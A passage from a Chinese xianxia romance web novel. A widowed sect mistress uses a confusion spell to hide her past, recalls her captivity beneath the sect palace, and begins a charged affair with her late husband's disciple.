身上这件她随手拿起的这件衣裳,正是昨夜穿来的那一件,不仅前襟袒露了较多的肌肤,一夜过后更是变得皱巴巴的。 不仅如此,徐宴芝懒得仔细挽发,走了一段路,几缕发丝随意地滑落,飘在额间。她并未料到会遇见旁人,因忙着前来寻宇文令,来不及处理,身上此刻应当留下了许多暧昧的印记。 真是一身妩媚,没有半点端庄。 顾青峥眼里的她会是什么样子,想到此处,当时的徐宴芝烦闷起来,莫名恼上了丈夫这个冰冰冷冷的徒弟。 从那以后,在与宇文令相处时,若是有徒儿伺候左右,她时常会注意站在他们身后的顾青峥。 当她对宇文令露出笑容时,当她对他温言软语地撒娇时,一道阴凉的视线总是会猛地离开她。 徐宴芝佯做不经意回头,只能看到身姿挺拨的男子,垂眸不语地握紧了腰间长剑。 他手背上青筋虬结,微微颤抖。 徐宴芝转身挽着宇文令的胳膊,笑得更加甜蜜。 回忆至此,灯花又爆,徐宴芝只是恍然伸手拿起一旁的小剪,剪了一截灯芯。 当真这样简单吗? 徐宴芝面容沉郁,默默放下了手中小剪。 她不知不觉在窗前坐了一夜,再抬头时,灯已燃尽。 因思虑过重,徐宴芝第二日出门时晚了一些。 此时虽然离弟子大比还有些时日,但太阴峰上的小弟子们都无比紧张,徐宴芝看在眼里,便做主让他们无事只管修行,不必留在宫中值日。 小弟子们哪儿有不乐意的,都高兴起来,连去兽厩为她牵来飞虎,送她下山这样的事都带着笑。 能上太阴峰的小弟子便没有不上进的。 出门时徐宴芝路过了演武场,里头的呼喝之声简直能钻破云霄,将人耳朵都震得发麻。 她忍住不适仔细听了一耳朵,并未听见有熟悉的声音。 小弟子赶着车从侧门接了徐宴芝,车轮滚动,骨碌碌地向山下开去。 在飞虎车中,徐宴芝手里捧着天枢峰送来一枚玉佩,坐在车中闭目养神。 这是徐广济留下的最后一点东西。 仙人身死道消,**不复存在,他自尽后,刚被发现时躯体还在,过了一会儿后,周身灵力散去,便只在地上留下了一件弟子服,和徐宴芝手中这一枚贴身玉佩。 北域男子都喜欢贴身带着一枚玉佩,徐广济这一枚成色不算特别好,但胜在古旧,想来也是徐父徐母精心挑选赠与儿子,祈求他一生平安的。 思及至此,徐宴芝面无表情地睁开眼,垂眸看着手中的东西,冷冷地笑了一笑。 她这次下山,要去一趟徐府,将这枚玉佩送还给徐广济的父母——顺便还有一些旁的事。 飞虎的脚程依旧,一晃的功夫,车便停在了大门紧闭的徐府门前。 小弟子开门请徐宴芝下车,直到他们走到门前,徐家都无一人出门迎接。 徐宴芝还未说什么,送她下山的小弟子已经有些着恼,低声嘀咕道:“夫人来了,徐家竟然不出门迎。” 徐宴芝安抚地看了她一眼,低声道:“想来伯父伯母已经知晓了广济的死讯,毕竟是独子。” 小弟子闻言撇了撇嘴,嘀咕道:“我家就住这附近,从前便听过徐广济的名字,他这个人……” 这个人如何,还未说出口,大门便从里头打开了,徐父头发白了大半,看上去比上一回更老,颤颤巍巍地在门里朝徐宴芝拱手道:“不知夫人来了,真是失礼了。” 徐宴芝向他回礼:“节哀。” 徐父闻言,老泪纵横,转身将徐宴芝请进了家门。 他迎着徐宴芝走到会客厅,引她坐下,亲自为她沏了一杯茶。二人唏嘘了几句,徐宴芝方才将那枚玉佩转交到他手中。 徐父又哭,徐宴芝又劝。 好容易止住了,他哀叹道:“这把年纪了,也不知还有几年活,广济不在了,现下只能使一把劲,将族人安置好了。” 徐宴芝这回来便做好了准备,听了徐父这话,心下了然,戏肉来了。 果然,面前这老叟说着,画风一转,谈起了最近年来山下的生意艰难,徐家想要扎根七峰山下,愈发不容易。 徐宴芝得体地笑了笑,转而说起上一回她从新临渊城回来的事,或多或少,将与揽云大泽的生意透露了一点。 徐父眼睛一亮,泪都来不及擦,便一叠声地感谢起徐宴芝来。 徐宴芝叹了一声,站起身道:“这里我也待了两年多,到底也是我家。” 徐父以为她要走,正要相送,又听她道:“因为广济的事,昨日又梦见了府中草木,想在府中走一走,不知伯父可答应?” 徐父没有不应的道理,随她在院中踱步。 徐宴芝走过前院垂花门,来到了后院中,后院院中有一个小小的花园,稀稀拉拉种着几株大路货灵植,看来主人少有打理,各个耷拉着头,不精神的模样。 花园旁一条小路往里拐,走到尽头,一间小院打开了门,院中偏僻处有一口井,怕人掉下去似得,上头压着石头。 徐宴芝慢慢走到水井旁,低头看着上头的石头。 正正好好的一块石头,十分顺手,想来徐家用了许多年,自徐宴芝来山下前便有了。 她仔细地观察着,唯恐数十年前施法留下的印记如今还存在着。 细细看了许久,徐宴芝终于确信,她当时做的当真小心,并且徐宴芝因思念家乡,在徐府中每日也是郁郁寡欢,深居简出,府中人对她印象都不深,也留给了她可乘之机。 海娜死的那一日,她趁着夜色,在府中人人都要接触的石头上下了混淆的暗示,从那以后,那些曾经见过她们的人,都混淆了从前的记忆——当日死去的人长了海娜的脸,活下来的人在他们心中成了徐宴芝的模样。 如今时隔多年,徐宴芝的亲生父母早已去世,当时一块儿参加弟子大比的同辈们都落选回乡,也早就耗尽了生命,知情者皆不在世上,或许不用如此谨慎了。 当然话虽如此,她还是将这间不大的院子走了个遍。 徐父摸不着头脑地远远看着,待到徐宴芝走到正院后,方才小心上前道:“你伯母病了。” “既然如此,便只叨扰一小会儿。”徐宴芝说着,从锦囊中拿出了闵道一为她绘制的画卷,在徐父愣神时展开在他眼下,“你瞧,画中人与我,皆是徐宴芝。” 随着低语,她琥珀色的眼眸诡异地闪了闪,教徐父立刻直了眼,低头看着画卷,应和道:“是。” “若是有人向你问起海娜与徐宴芝的事,你不能应答,应当背着人立刻自尽。” 说到这儿,徐宴芝咬着牙,回想起徐广济,当年她便是在这儿出了疏漏,才叫顾青峥拿住了她的把柄。 “是——”徐父又答。 解决了他,徐宴芝推门而入,无视床上徐母惊骇的眼神,如法炮制混淆了她的神智。 至此,她便完成了下山后想要做的第一件事。 站在正院门口,徐宴芝等了一会儿,等到了徐父恢复了清明,他疑惑地摸了摸头,上前道:“你伯母病了。” 说罢,他忽然怔住,疑心自己方才是不是说过这句话。 徐宴芝却没给他深究的机会,点头应了,说明要离开。 二人一前一后地走出徐府,徐父与徐宴芝道别后关上了大门,外头候着的小弟子正要请她上车,却听她道:“我还有些私事,你们将车赶去城门那儿,我很快便来。” 徐宴芝发了话,小弟子只得喏喏点头,两边便在徐府门前分道扬镳,一边驾车往城门方向去了,另一个在四周转了 一圈。 再现人前时,徐宴芝已经大变了样。 她的五官与身形皆变成了老妇模样,佝偻着背,慢慢走进了城门大街旁一间不急眼的门脸中。 甫一踏入这间门脸,徐宴芝不待店中小二迎上来,径直走到了店的后头。 “寻人?寻事?” 帷幕后,掌柜八风不动地坐在柜台后,端起一杯清茶,掀起眼皮看了她一眼,沉声问道。 “问一桩一流仙家的丑事。” 徐宴芝用沙哑的声音答道。 “一流仙家——吕顾周张李,嗯,价格不便宜,且需要时间。” “无妨。” 第24章 第二十四章撕碎长裙 “师兄,我当真不行了,让我歇歇吧。” 闵道一喘着粗气,整个人仰面躺在雪中,身上的汗水蒸腾,教他在漫天大雪中被云雾笼罩,变得朦胧起来。 顾青峥站在一边,并不看他,任由风雪卷起他长袍的衣摆。他眉目深邃,如同冰雪雕成的神像般闭口不言,不说行,也不说不行,随便师弟耍赖躺着不动。 果然,不一会儿,闵道一便灰溜溜地自个儿站了起来,又扎起马步,开始在师兄地监督下开始修行基本功法。 太阴峰上的风雪裹挟着暴虐的灵力,若他不全力运转周身灵力,直挺挺地躺在地上,片刻便能冻成人棍。 顾青峥哪怕一言不发,只站在这儿拦着不让他离开,闵道一就只能奋起用功。 徐宴芝并未在演武场上听见熟悉的声音,是因为顾青峥另辟蹊径,带着闵道一穿过结界,让他直面严酷无情的圣山,由风雪来好好锤炼这个仙法练得稀疏平常的师弟。 又过了一炷香的时间,眼见着闵道一嘴唇渐渐青紫,当真有了衰败的迹象,顾青峥方才上前提着他的衣襟,带着他往结界内走去。 闵道一早已虚脱,见师兄要提自己,索性无力地把自己挂在他手上,如尸体一般被拖进了结界中。 进了结界,四周倏然就温暖了起来,见不远处有三三俩俩的小弟子正一块儿从演武场出来,闵道一怕失了面子,立刻挣脱了师兄的手,将仪态整理好。 “这会儿竟然怕丑了。”顾青峥见状,凉凉道。 “师兄难不成不怕丑。”闵道一不忿地瞥了一眼身旁这个在太阴峰上来去自如的男子,见他从结界外回来,竟然面色都不改,心头不可抑制地涌上艳羡,“当然了,我若有师兄这般本事,我也什么都不怕。” 顾青峥不置可否地笑了笑。 他的本事又是怎样练成的,闵道一似乎从未想过。 略走了几步,两人回到了他们的小院前,一路上都垂头丧气的闵道一停住了脚步,他盯着脚尖,语气酸溜溜地说道:“师兄,听闻你第一回去弟子大比,拜师时师父便赐了你长剑当做本命法宝,我已是第二回了,却什么都没有……” 顾青峥看向他,叹息道:“师父走得太快了些。” 闵道一忧愁道:“若是师兄成了掌门,能赐我一柄师父留下的长剑吗?” “师父的私产,理当由师娘处理。” “这样的话,若我问师娘呢?” 顾青峥笑了一笑,滴水不漏地答道:“这要问师娘才知道了,不过,师娘一向疼你,想来是愿意的吧。” 闵道一眨了眨眼,小声道:“师兄陪我去问好吗?” 顾青峥又高深莫测起来,并不问答师弟,待他纠缠几番后,方才勉强同意与他同行。 只是他们在徐宴芝那儿没寻见她。 听小弟子说,在他们在结界外修行时,徐夫人让人驾车下了山,并未留下只言片语,现下还不曾回来。 顾青峥闻言,露出了然的笑,对师弟道:“下回吧。” 闵道一好容易鼓起地勇气已然消散,他摇摇头,低声道:“下回也算了,若是大比时我拿了好成绩,再去寻师娘。” 顾青峥拍了拍他的肩膀。 只是两人返回的路上,又恰巧遇见了刚刚下车徐宴芝。 闵道一霎时便倒吸了一口气。 徐宴芝从车上下来,抬头便见到两个徒儿结伴从后头走来,又见小徒儿面上别扭,挑眉道:“道一怎么了?你们可是去寻我了?” 方才在师兄面前放肆得很,到了徐宴芝面前,闵道一露了怯,支支吾吾半晌说不出句子。 “师弟想着,若是大比时得了好成绩,想要从师娘这儿讨一柄剑。”顾青峥体贴地替师弟开了口。 徐宴芝闻言一怔,下意识反问道:“师娘如何有剑?” 顾青峥没回答,一双漆黑的眸子定定看她。 他这样看着她,让她后知后觉意识到了,他们说的是宇文令的私产。 是了,在宇文令死后,他生前得来的天材地宝一直封存在问仙宫内,只有手握掌门密令的徐宴芝方才能打开。 顾青峥主动提及这一点,也不知是什么意思。 她的视线在眼前二人身上来回,片刻后,笑盈盈地冲闵道一点头道:“若是你真得了好成绩,我便做主,赐你一柄好剑。” 闵道一还未来得及高兴,又听到徐宴芝转头对顾青峥道:“我可分不出一柄剑的好坏,你也帮着师弟选一选。” 顾青峥自然应了。 三人互相颔首致意,一人往内,两人向外,往各自的住所走去。 不过,顾青峥回到小院还没多久,便接到了徐宴芝的传音,让他去一趟问仙宫。 他捏着传音符,出了一会儿神后,换上了常服,顺着前殿连绵不绝的长廊,往问仙宫而去。 即便接到传音后便出发,待问仙宫出现在眼前时,顾青峥发觉徐宴芝早已在门前候着了。 她似乎并未察觉到远处有人,正歪歪地倚在门前通天的柱子上,眺望着天边。 顾青峥驻足看了一会儿。 徐宴芝从前便不常穿华服,丈夫没了后,她更是日常穿着单调朴素的浅色长裙,只是今天她却一反常态,穿了一件浅紫色的漂亮裙子,裙摆轻飘飘地在空中摇晃,人也惬意地挂着笑。 太阳也配合,极难得穿过了云端,让金色恰到好处地洒在她的身上,使她看起来暖洋洋的。 紫金色的徐宴芝烙印在顾青峥黑色的眼眸中,几乎烫得他发痛。又过了一会儿,他后知后觉地意识到,这附近没有任何小弟子值守。 宇文令喜欢独居,问仙宫内原本便没有小弟子值日,在他仙解后,才有小弟子隔三差五进去维护问仙宫。 而此时临近弟子大比,太阴峰上的小弟子们都被徐宴芝特赦了值日,聚集在演武场内练功。 现下偌大的问仙宫附近,恐怕只有他与徐宴芝。 思及至此,再凝视那条裙子,顾青峥瞳仁一缩,身躯倏然紧绷,曾反复撕裂过他的欲孽复燃起来,教他几乎控制不住面上的表情。 他费了极大的力气,才平复好心绪,慢慢踏上了问仙宫前的白玉长阶。 当他从长廊尽头出现时,徐宴芝便注意到了他,只是仍懒洋洋地倚在柱子上,并不想直起身子。 顾青峥似乎在远处看了她一会儿,她猜想着,莫约是在打量自己,疑心她有些什么企图。 徐宴芝笑了笑,她这回当真只是有些胆怯,想要有人相伴,一块儿踏入这冰冷肃杀的问仙宫。 但,若是有些旁的收获,倒也不错。 站定在问仙宫大门前,徐宴芝笑着对拾阶而上的顾青峥道:“既然道一说了起来,便为他挑一柄剑吧,说来也是他师父这些年有些疏忽。” 顾青峥应了,站定在门前看着她。 徐宴芝莞尔一笑,对他扬了扬下巴:“愣着作甚?” 顾青峥也跟着僵硬地笑了起来,他上前伸出一只手,放在大门上镶嵌的明珠上,不见如何用力,便推开了这扇看上去十分沉重的门。 门打开后,站在后头的徐宴芝屏住了呼吸,微微睁大了眼。 宫门后有一块儿高大的影壁,遮挡了宫里的景色,徐宴芝抬脚绕过,只见前头几间宫室门窗紧闭,与从前并无二样,除却她的脚步声与呼吸声,宫内静得如 死水,连风声都无。 明明是宫里装潢是一派超凡脱俗的仙人做派,徐宴芝却觉得一股凉意,自心头起,散在了身子里。 她踟蹰不前,故作轻松地问头对顾青峥道:“愣着做什么?” 她在影壁前,整个身子处在光中,顾青峥在影壁后,上半张脸陷在阴影里。 她看不到顾青峥的眼睛,顾青峥却能看到她的。 或许他看出来了什么,一步一步,极慢地走到光中,强光照得一切都亮堂堂的,他的眼眸也变得明亮起来。 顾青峥走到徐宴芝身旁,执起她的手。 他手心的热度传到了她手中,一步一步,并不看彼此的眼眸,一起走向深宫之中。 路过了宇文令常驻的书房,路过了问仙宫中备用的丹房、演武场,路过了议事堂。 徐宴芝带着顾青峥一直往里走,穿过整个前殿,来到了宫内最深的一进。 到了这儿,像是踏入了另一段时间。 徐宴芝隐隐地觉得背脊又疼痛了起来,如同谁用一柄尖齿的梳子,一点一点从她的脖颈处,梳到腰间。 她强忍着寒颤,放开了顾青峥的手,走进起居室中,伸手按在墙上。 法阵的荧光在墙上闪烁,须臾后,一道通往地下的楼梯出现在他们眼前。 徐宴芝面色未改,回头看去,见顾青峥不知不觉中又握紧了手,垂眸道:“这是问仙宫的地下宫殿。” 她朝着顾青峥伸出手:“随我来。” 徐宴芝领头,他们沿着仿佛无休无止的台阶往下走。 这是一个柱状的空洞,台阶围着边缘,一圈一圈地往下,目之所及皆是光秃秃的,除却亮起的仙灯,并无半点装饰。 或许走了一炷香的时间,或许更长,台阶结束了,徐宴芝带着顾青峥穿过了一条长廊,来到了一个与地上的宫殿交相辉映的殿堂中。 “你看好了。” 不等顾青峥反应过来,徐宴芝朝空中伸出了手。 荧光闪烁间,这间空荡荡的殿堂中相继出现了无数的天材地宝,密密麻麻地从地上一直排列到了顶上。 “这些。”徐宴芝回眸看着身后男子,笑得眉眼弯弯,“都是你师父留下来的遗产。” 漫天宝物,闪耀着华光,萦绕在两人周身。 “你想要吗?”她的语气诱惑,眼中仿佛也有华光在闪烁。 对顾青峥而言,今日的一切都古怪极了,徐宴芝忽然地召唤、这间原本应当是秘辛的地下宫殿、师父生前的遗产。 他们不过是为闵道一取一柄长剑,徐宴芝却将一切都呈现在顾青峥面前,是试探吗?还是旁的—— 话说回来,她今日去了哪儿? 顾青峥垂眸片刻,伸出手来,遮住了徐宴芝的眼睛。 “莫要对我施展混淆术了。”他垂首,在她耳边颤声说着,“上回似乎说了,这一招对我无用。” 徐宴芝呀了一声,伸手握住遮在眼前的手,柔声道:“这回忘了,下回一定不这样。” “您的想法,我心里忽然明白了一些。” 身处地下,四周皆无人,连徐宴芝都看不见他,仿佛此时不论心中有多不堪的念头,也无人知晓。 盯着她身上轻飘飘地长裙,极致的渴望与恶念再也按捺不住,涌上顾青峥心头,他面容扭曲,眉头紧锁,看着眼下不堪一击、对他全然袒露的女子,颤声道:“但我想要的,恐怕更多。” 这间殿堂乍一看既高且阔,朴质并无半点装饰,唯独在徐宴芝用密令解开封印后,忽然变了模样,变出了一间起居室,瞧一眼便知,似乎常有人在此居住。 敞开的室内有一张床榻,上头垂着织金的毯子,慵懒地落在地上。 谁人曾睡过这张床榻? 谁人曾在此处扬起脸来,将笑靥落在旁人手上? 徐宴芝的衣襟散开,露出胸前大片的肌肤,她裙摆经不起大的动作,此时已经有了明显的褶皱。 一时恨,一时渴求,他艰难地控制着自己,只战栗地轻抚着她的脸颊。 在问仙宫门前,顾青峥便认出了这件衣裳,它曾出现在他反反复复做的那个梦中。梦里他按理惯例在宇文令那里受了磋磨,身上带了伤,艰难地想要穿过问仙宫,回到他的弟子舍。 视线原本一片朦胧,却在穿过一个长廊后清晰了起来。 只因尽头处忽然出现了一个女子,长发随意地挽起,发梢多情地粘在脸颊旁,身上紫色的长裙布满了褶皱,胸前袒露出大片肌肤,遍布红痕。 她坦然地对他笑着,一身妩媚,半点不在意的模样。 她竟然坦然,竟然不在意。 他的梦里,他可以为所欲为。 于是在那个长廊尽头,他千百次撕碎了那条长裙,将满身暧昧的徐宴芝压在身下,既恨又怜,战栗地用新的印记将旧的覆盖,彻底摧毁她的坦然与不在意。 梦境与现实混在一起,嫉恨占据了顾青峥的每一缕心神。 复杂浓烈的情绪向徐宴芝倾泻而来,她的眼被蒙上,被动承受着,恐惧着,颤抖着。 微笑着。 第25章 第二十五章无边情潮 问仙宫的地下还有一间宫殿。 这间地下宫殿阴暗、沉闷,北域历代掌门只将其作为暗室,用来存放宝物,或是闭关修行。 以前都是如此,但轮到宇文令时,他却另辟蹊径,不仅再这里储物,还用来存放某些不愿被旁人看到,紧要的人。 年少的徐宴芝,在那时候还不知道这一点。 在她甚至对北域七峰、对仙人世界还懵懂的时候,她已经来到了问仙宫的地下。 如何进来的她都忘了,只依稀记得耳边风声呼啸,久久不息。 这里看不到日升日落,嗅不到草木气息,她不知道自己究竟待了多久。大部分时候,徐宴芝只能蜷缩着,听着耳边血脉涌动的声音,数着心跳,感受着自己还活着。 她很难见到旁的活物。 只有偶尔的时候,地下宫殿会从远处传来一些细微的声响,徐宴芝竖起耳朵,能听见是将她带回来的那男人踩在石阶上发出的轻响。 那些轻响连成一条线,从远处慢慢蜿蜒到她面前。 线断在她躲藏的角落,不论她藏在哪儿,那个男人都能找到她,驻足站在她身前,影子长长的,将抱着膝盖的她遮在里头。 他从不看她,与她保持着两步的距离,她也不敢看他,只埋着头逃避。 但她埋着头,耳中仍然会出现两个人血脉涌动的声音。 而后,在徐宴芝埋着头的时间里,她身前的男人身上会散发出来巨大的灵力,那灵力令她恐惧,让她忘了呼吸。 可即便是超乎感官极限的恐惧,也无法遏制她的本能。 这样庞大的灵力之中,会夹杂着一丝浊气。 徐宴芝来自幽冥的身躯久不见浊气,渴望地感受着,将其吸纳入体。 等她做完这件事,笼罩在她身上的阴影便会消失,一连串的脚步声又成了另一条线,慢慢离她远去。 男人来了又走,他从不曾与她交流。 日子这样过去了很多天,徐宴芝久久不曾说话,有时会恍惚,忘掉从前的一些事情。 但唯有那一天是忘不掉的,那一天,是她命运的转折点。 在此以前,她还以为海娜死去的那一晚,已经她是命运的转折点了。 ‘海娜’死后,徐宴芝受了严重的伤,不得已,错过了当年的弟子大比。 这是遗憾,也是机会。 徐宴芝从崖下来,言行举止对地上人而言是有些古怪的,养伤了的两年,她有了充足的时间,去将自己学来的言行举止练习好——她毕竟受了伤,平时有一些不妥,徐家众人也能理解。 两年弹指一瞬间。 徐宴芝的伤彻底好了,她也彻底地变做了一个地上人,一言一行,都十分得体,她自信再也没有人能认出她的来处,并且她还拥有了崖下人此前从未有过的机会。 徐家人将会送她去参加宗门大选,她将会踏入仙途,走上一条通天大道,拥有力量,过上曾经最渴望的日子。 明明这是在崖下再普通不过的天赋,为了与浊气共存,人人都可感知灵力与浊气,可在地上却成了能通天的本领! 但徐宴芝所期盼的一切,总是会在最热烈的时候破碎。 第二次弟子大选时,她混杂在一群年幼的孩童中间,正等待着被叫到名 字,去到堂中接受宗门的检测。 周围的孩子们每一个都比她年幼,听闻都已展现了天赋,徐宴芝等了许久,渐渐有了压力,明明已经能感知到灵力,脑中却冒出了许多坏念头—— 会不会轮到她时,里头的法阵便坏了,根本检测不出她的天分?或者她一进去,便脑子一片空白,什么也想不起来,被人从里头赶了出来。 她皱着眉,心中不住地默念着出发前徐家人对她的叮嘱。 不知不觉中,在她沉思的这段时间里,周围人慢慢静了下来,所有人的眼睛全都看向了她。 寂静唤醒了徐宴芝,她看着眼前的人群,先是一怔,而后才随着人们的视线一块儿向她身后看去。 她看到了一个身着黑衣的男人,长着柔和俊美的模样,却有恣睢的神态,正直勾勾地看着她,如猎食者一般。 刹那间,徐宴芝认出了他。 她是在一个夜晚爬上无尽之崖的,到地上之后,曾随着业鬼茫然地在大地上游荡。 业鬼追逐血肉,在血月落下后也一如既往,地上的世界茫茫大,徐宴芝不知该去哪儿,只得混在业鬼之中,钻进了一个已经被摧毁的城市。 城中到处都是砖块瓦砾,地上有不知从而来的厚厚血迹,硝烟味、灰尘味、血腥味混在一处,让人的鼻尖都刺痛起来。 这座城被先前来的业鬼们毁了,后来者再也寻觅不到能够充饥的食物,跃上高处,大声宣泄着愤懑。 这个晚上没有红月,银白的月光洒在业鬼们身上,让它们显得更为可怖了。 连早已习惯了它们长相的徐宴芝都有些畏惧起来,无措地站在城中,不知该往何处走。 只是她还未曾做出决定,异变便产生了。 业鬼们的声音传得极远,似乎引来了猎人,徐宴芝感到远处不断传来破空声,没一会儿便离得极近。 她循声回头望去时,城墙上出现了一个穿着黑衣的男人,他手中的长剑已经出了鞘,月光洒在上头,反射与他眼眸一般的光。 他与他的剑一齐冰冷冷地看着徐宴芝。 她像是被锁定的猎物,下一瞬便要被夺取性命。 徐宴芝当下撒腿就跑,边跑边唤来一只业鬼,央求它带着她逃跑。 那一回,她运气好,那个男人并没有现下这样强大,她也有帮手,成功地从他手中逃脱了。 一别数年,这次再见,徐宴芝发觉他竟然相较上次相见变强了数倍。 她心中一沉,脑中发出尖锐的警报,生出本能的危机感,下意识地再次想要逃跑。 但她的脚仿佛生了根一般,被超越认识的存在死死压制住,一根手指头也动不了。 众目睽睽之下,男人伸手握住她的手臂,一言不发地带着她朝外走去。 围着他们的人群如潮水般退去。 艳羡的眼神、畏惧的眼神、无措的眼神四面八方包裹着徐宴芝,她明明身处人群之中,却感到绝望。 她说不出话来,她的灵魂在尖叫—— 为什么!为什么他能在北域七峰的注视下带走她,有没有谁能救救她,她不愿意,她不愿意,她不愿意! 走到大观门前,终于有仙人出现,徐宴芝燃起了一丝希望。 须臾后她的希望破灭了,仙人远远不敢靠近,只颔首对着带她走的男人行礼。 徐宴芝被带走了。 她被带到了一座很高的山上,关在了山中一间宫殿下,成为了男人帮助修行、精粹灵力的一个有血有肉的工具。 遇见这样的事,倘若换做旁人,恐怕早已因为恐惧而疯狂,还好是她,她自小便开始忍受苦难,爬出无尽之崖时,便认识到了自己应当会踏上一条坎坷的路,一路走来,已不在对未来有甚憧憬。 她花了很长时间,接受了自己的处境。 莫约与男人相见过十次后,徐宴芝开始尝试在地下宫殿中探索。 男人本就没有把她关在某处,地下的一切都没有对她设防,她大可以到处走动,仔细观察宫内的一切。 徐宴芝找到了一个浴池,她来来回回地过来了许多次,在某一次,男人来了又走后,小心地走了下去,用了里头温热的水,洗净了一头长到脚踝的如瀑黑发。 如果她没有数错,在男人第二十次出现在她面前时,徐宴芝张口对他说话了。 那次他来,她抱着膝盖,仍旧坐在宫殿的角落中,过长的头发倒映着灯光,细细密密地交织在一起,像一张网,将她托在中间。 徐宴芝扬起脸,眉头轻轻抬着,将眼睛提起,变做了无辜的形状。她眼中空空的,好似看着男人,又好似看向了远方。 “我好疼,放过我吧。” 苍白的少女像将碎的琉璃,含糊地低语。 她眼前的男人没有说话,但她感受到了他的目光,一点一点,冰冷地、如有实质般地扫过她。 徐宴芝迎着男人的目光,站了起来,缓缓解开了衣襟。 衣服从她身上滑落在地,她赤脚踩在衣服上,摇摇晃晃地转过身,将长发分开,朝男人露出了她赤裸的背脊。 她白皙光洁的背脊上出现了一道一道触目惊心的伤痕。 少女纤细澄净,伤痕狰狞丑陋。 极致的美与极致的丑,对比之下,成了一处诡异的奇观。 徐宴芝茫然地看着眼前的墙壁,轻声呢喃道:“我还不想死,救救我吧。” 过了许久,也可能是过了须臾。 她听到了脚步声朝她走来,接着是一根手指,点在她的伤痕上。 徐宴芝忍不住瑟缩了一下。 她身形摇晃,及地的长发跟着滑落回身后,将触碰她的那只手,笼在其中。 在数十年后,那只能轻易操控徐宴芝人生的手,已经消失在太阴峰上,而她在宇文令仙解后的第二个月后,带着他生前唯二的徒弟,踏入了他最为隐秘的一角里。 眼睛被顾青峥遮住,徐宴芝的思绪飞出去了很远,她走了神,自然被身前人发觉。 或许是因为他们身处全是他人气息的地盘,顾青峥极为亢奋,瞧不见他的脸,徐宴芝只能通过呼吸声来判断。 他不满极了,在这样的境地之中,徐宴芝竟然还能分神思考旁的——她究竟想起了什么,想起了谁? 顾青峥脑中空白了一瞬。 待他回过神来,他已经将徐宴芝压在了身下,就在那殿中那张床上! 哪怕到了如此境地,他的手仍旧死死捂着徐宴芝的眼睛,唯恐自己的丑态落入她眼中。 他现在一定极为难看,瞳仁在颤抖,眼白泛红,按在身下人脸上的那只手需要极大的意志方才不再多用一分力。 到了这个境地,顾青峥似乎忘了他能做些什么。 他既失了体面,也使了分寸,唇瓣渴求地在她的唇上游离,不知是啃咬还是触碰,渐渐又品尝出了甜腥味。 “你弄疼我了。” 徐宴芝什么也看不见,却并不反抗他的暴虐,如情人般伸手在他脸上摸索,寻到他的耳朵,靠近低声呢喃。 “我记得你上回挺有章法的。” 她的气息也并不稳,她瞧不见,并不知道自己坦露的肌肤上,从脸颊到锁骨,一片皆已经泛起妃色,她竟然脑子还清晰着,还记得上一回顾青峥的章法。 “你……” 顾青峥开口,还未说完,便被她打断。 徐宴芝右手泛起荧光,轻松地按住身上男子的肩膀,将他掀翻在一旁。 不待顾青峥想要反抗,她伸手扼住了他的脖子。 她在上,顾青峥在下。 四目相对时,视线里都是彼此猩红的眼。 徐宴芝感受着手掌之下那奋力跳动的脉搏,她用力一分,它便跳得更用力一分,那心跳的主人努力收敛了表情,定定看着她,眸子渐渐起了雾。 他脸上涌上窒息的红,却也有无边的情潮在。 她彻彻底底地扼住了他的喉咙,将这个男人握在手中。 他曾在世界之巅享受过万众瞩目的滋味,他分明拥有万中无一的力量,他的手上沾染过许多生灵的 血。 可在此时此刻,在他的理智离开,被欲念占领的此刻,顾青峥放弃了抵抗,将性命交由在她手中,如峡湾般深幽的眼中,只倒映着自己的影子。 徐宴芝脸上泛起与他一般的潮红,她在此刻获得了无上的欢愉。 她摘下头上发簪,俯下身子,任由长发披散下来,细细密密地将他们网在其中。 徐宴芝松开了手,听到身下男子难以自制地发出了吸气的声音,看见他长而上扬的眼失焦地看向她,眼尾不自知地泛起水光。 她伸手解开了长裙的结,皱成一团的裙摆落在地上。 顾青峥微微睁大的眼中,徐宴芝的影子模糊成边缘不清晰的圆,那影子不断在他瞳仁中放大,终于完全将他侵染。 “我只教你一次。” 恍惚中,她的声音甜如蜜,淌进了他的心中。 第26章 第二十六章爱情故事 地下的宫殿昏暗沉闷,这里并不是为了居住而建造,修得既高又阔,在殿中发出哪怕是轻微的细响,也会被放大数倍。 顾青峥略微失神,殿中便回响起某些难以自制的声音。 他感到羞恼,反制住了徐宴芝,又仓皇无措,只会将她笼在身下胡乱动作。 明明极卖力,却反而得了她一个白眼,另带嗔道:“不是!” 顾青峥难以绷住表情,只觉此刻前半生的颜面都扫了地,他不敢再造次,乖顺地听从她的指令,一个时辰过去,总算两人都心满意足。 两人贴在一处,汗津津的,你中有我,我中有你。 顾青峥紧紧将人搂在怀中,隔着几乎要炸开的胸膛,只觉两颗心都跳成了一个。 阴暗的、晦涩的、又冷又湿大雾一样氤氲在他心头的恶念顷刻被驱散开,他失了保护,亮堂堂地显在人前,无遮无拦地露出堂皇又卑劣的渴求。 他想要张口说些什么,只是往日的巧舌不仅在某些事上笨拙,连带着面对着某些人时也如此。 说不出口,只能伸手一遍又一遍地抚弄她如月光般柔滑的长发。 “你瞧瞧。”他不说话,徐宴芝懒懒地挨着他歇了一会儿,待到面色如常后,抬起胳膊指着他们上头繁星一般闪烁着的琳琅宝物,“有哪一柄剑是适合道一的?” 他们本就是为此而来,她的话并没有什么问题。 只是顾青峥倏然地不适起来,他有些想说,你没有别的想说的吗,或是,你是怎么想的。 但话到嘴旁,又不甘示弱,被心中慢慢筑起的高墙阻挡。 顾青峥的手缓缓从她的发间移开,他抬起头,漫不经心地在诸多宝物中看了一会儿。 “那一柄我曾见过,西域所赠,以极少的灵力便可驱使,正适合他。”他扬了扬下巴,对着一柄其貌不扬的长剑道。 “行。”徐宴芝点了点头,伸手捞起地上不成样子的裙子,想要披在身上。 半途被身后人阻拦了下来。 顾青峥脸色阴沉下来,上前撩开她披散的长发。 她本应当润泽光洁的背脊上有深浅不一、黯淡的伤痕,一道一道,触目惊心。 他忍不住伸手去碰,却被她侧身避开。 徐宴芝没有回头看他,穿好了衣裳,将身子严严实实地遮了起来,又捡起发簪,将长发挽起。 她摇身一变,立刻妥帖美艳,遥不可及起来。 若不是顾青峥胸膛上尚且还残存着红痕,方才的事恍若他夜有所思,白日做梦。 他听到自己干巴巴地发问:“你的伤,究竟是因为什么?” “啊。”徐宴芝随意地对他笑了笑,声音钝钝地,带着事后的慵懒,“你知道我修为停滞了许久,我不甘心,想了一些旁门左道的法子,既然旁门左道,遭了反噬也是常事。” 她一边说,一边对高处那柄剑伸出了手。 